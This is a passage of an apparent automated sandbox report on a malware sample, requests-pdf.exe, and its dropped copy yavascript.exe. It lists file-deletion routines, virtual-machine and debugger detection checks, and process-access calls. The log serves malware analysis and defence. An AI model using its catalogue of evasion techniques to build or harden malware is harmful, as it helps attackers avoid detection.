              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,0_2_024D900E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EB696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_024EB696
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024DB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_024DB59C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0251D850 FindFirstFileExA,0_2_0251D850
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E8ED0 FindFirstFileW,0_2_024E8ED0
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_024D7CF3
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D6D29 FindFirstFileW,FindNextFileW,0_2_024D6D29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,15_2_0041B42F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,15_2_0040B53A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0044D5E9 FindFirstFileExA,15_2_0044D5E9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,15_2_004089A9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00406AC2 FindFirstFileW,FindNextFileW,15_2_00406AC2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,15_2_00407A8C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,15_2_00418C69
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,15_2_00408DA7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_024F900E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250B696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,15_2_0250B696
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024FB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_024FB59C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0253D850 FindFirstFileExA,15_2_0253D850
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02508ED0 FindFirstFileW,15_2_02508ED0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,15_2_024F7CF3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F6D29 FindFirstFileW,FindNextFileW,15_2_024F6D29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,25_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,25_2_0041B42F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,25_2_0040B53A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0044D5E9 FindFirstFileExA,25_2_0044D5E9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,25_2_004089A9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00406AC2 FindFirstFileW,FindNextFileW,25_2_00406AC2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,25_2_00407A8C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,25_2_00418C69
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,25_2_00408DA7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,25_2_024E900E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FB696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,25_2_024FB696
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024EB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,25_2_024EB59C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0252D850 FindFirstFileExA,25_2_0252D850
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024F8ED0 FindFirstFileW,25_2_024F8ED0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,25_2_024E7CF3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E6D29 FindFirstFileW,FindNextFileW,25_2_024E6D29
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,0_2_00406F06
              Source: Amcache.hve.4.drBinary or memory string: VMware
              Source: Amcache.hve.4.drBinary or memory string: VMware Virtual USB Mouse
              Source: Amcache.hve.4.drBinary or memory string: vmci.syshbin
              Source: Amcache.hve.4.drBinary or memory string: VMware, Inc.
              Source: Amcache.hve.4.drBinary or memory string: VMware20,1hbin@
              Source: Amcache.hve.4.drBinary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
              Source: Amcache.hve.4.drBinary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
              Source: Amcache.hve.4.drBinary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000003.2280787166.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B71000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: Amcache.hve.4.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
              Source: Amcache.hve.4.drBinary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
              Source: Amcache.hve.4.drBinary or memory string: c:/windows/system32/drivers/vmci.sys
              Source: Amcache.hve.4.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
              Source: Amcache.hve.4.drBinary or memory string: vmci.sys
              Source: Amcache.hve.4.drBinary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
              Source: Amcache.hve.4.drBinary or memory string: vmci.syshbin`
              Source: Amcache.hve.4.drBinary or memory string: \driver\vmci,\driver\pci
              Source: Amcache.hve.4.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
              Source: Amcache.hve.4.drBinary or memory string: VMware20,1
              Source: Amcache.hve.4.drBinary or memory string: Microsoft Hyper-V Generation Counter
              Source: Amcache.hve.4.drBinary or memory string: NECVMWar VMware SATA CD00
              Source: Amcache.hve.4.drBinary or memory string: VMware Virtual disk SCSI Disk Device
              Source: Amcache.hve.4.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
              Source: Amcache.hve.4.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
              Source: Amcache.hve.4.drBinary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
              Source: Amcache.hve.4.drBinary or memory string: VMware PCI VMCI Bus Device
              Source: Amcache.hve.4.drBinary or memory string: VMware VMCI Bus Device
              Source: Amcache.hve.4.drBinary or memory string: VMware Virtual RAM
              Source: Amcache.hve.4.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
              Source: Amcache.hve.4.drBinary or memory string: vmci.inf_amd64_68ed49469341f563
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeAPI call chain: ExitProcess graph end nodegraph_15-88262
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeAPI call chain: ExitProcess graph end nodegraph_15-89102
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00402501 LdrInitializeThunk,0_2_00402501
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0043A65D
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BCE3
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00442554 mov eax, dword ptr fs:[00000030h]0_2_00442554
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00A4AB7B push dword ptr fs:[00000030h]0_2_00A4AB7B
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025127BB mov eax, dword ptr fs:[00000030h]0_2_025127BB
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D092B mov eax, dword ptr fs:[00000030h]0_2_024D092B
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D0D90 mov eax, dword ptr fs:[00000030h]0_2_024D0D90
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00442554 mov eax, dword ptr fs:[00000030h]15_2_00442554
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00AB906B push dword ptr fs:[00000030h]15_2_00AB906B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_025327BB mov eax, dword ptr fs:[00000030h]15_2_025327BB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F092B mov eax, dword ptr fs:[00000030h]15_2_024F092B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F0D90 mov eax, dword ptr fs:[00000030h]15_2_024F0D90
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00442554 mov eax, dword ptr fs:[00000030h]25_2_00442554
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00AFC98B push dword ptr fs:[00000030h]25_2_00AFC98B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_025227BB mov eax, dword ptr fs:[00000030h]25_2_025227BB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E092B mov eax, dword ptr fs:[00000030h]25_2_024E092B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024E0D90 mov eax, dword ptr fs:[00000030h]25_2_024E0D90
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0044E92E GetProcessHeap,0_2_0044E92E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00434168
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0043A65D
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00433B44
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00433CD7 SetUnhandledExceptionFilter,0_2_00433CD7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025043CF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_025043CF
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250A8C4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0250A8C4
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_02503DAB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_02503DAB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,15_2_00434168
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_0043A65D
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_00433B44
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00433CD7 SetUnhandledExceptionFilter,15_2_00433CD7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_025243CF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,15_2_025243CF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252A8C4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_0252A8C4
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02523DAB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_02523DAB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,25_2_00434168
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,25_2_0043A65D
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,25_2_00433B44
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00433CD7 SetUnhandledExceptionFilter,25_2_00433CD7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_025143CF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,25_2_025143CF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251A8C4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,25_2_0251A8C4
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_02513DAB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,25_2_02513DAB
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe0_2_00410F36
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe15_2_00410F36
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe25_2_00410F36
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00418754 mouse_event,0_2_00418754
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Users\user\AppData\Roaming\xenor\yavascript.exe "C:\Users\user\AppData\Roaming\xenor\yavascript.exe" Jump to behavior
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000B50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerH
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000B50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000B50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager6
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000B50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager`
              Source: yavascript.exe, 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000003.2280787166.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00433E0A cpuid 0_2_00433E0A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_004470AE
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_004510BA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_004511E3
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_004512EA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_004513B7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_00447597
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoA,0_2_0040E679
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,0_2_00450A7F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_00450CF7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_00450D42
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_00450DDD
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,0_2_00450E6A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_02517315
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_02521321
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_02521044
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_0252161E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_025177FE
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_0252144A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoW,0_2_02521551
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: GetLocaleInfoA,0_2_024DE8E0
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_02520F5E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: EnumSystemLocalesW,0_2_02520FA9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,0_2_02520CE6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoA,15_2_0040E679
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_004470AE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_004510BA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,15_2_004511E3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_004512EA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,15_2_004513B7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_00447597
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,15_2_00450A7F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_00450CF7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_00450D42
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_00450DDD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,15_2_00450E6A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_02537315
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_02541321
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_02541044
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,15_2_0254161E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_025377FE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,15_2_0254144A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,15_2_02541551
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoA,15_2_024FE8E0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_02540F5E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,15_2_02540FA9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,15_2_02540CE6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_004470AE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_004510BA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,25_2_004511E3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_004512EA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,25_2_004513B7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_00447597
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoA,25_2_0040E679
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,25_2_00450A7F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_00450CF7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_00450D42
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_00450DDD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,25_2_00450E6A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_02527315
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_02531321
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_02531044
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,25_2_0253161E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_025277FE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,25_2_0253144A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoW,25_2_02531551
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: GetLocaleInfoA,25_2_024EE8E0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_02530F5E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: EnumSystemLocalesW,25_2_02530FA9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,25_2_02530CE6
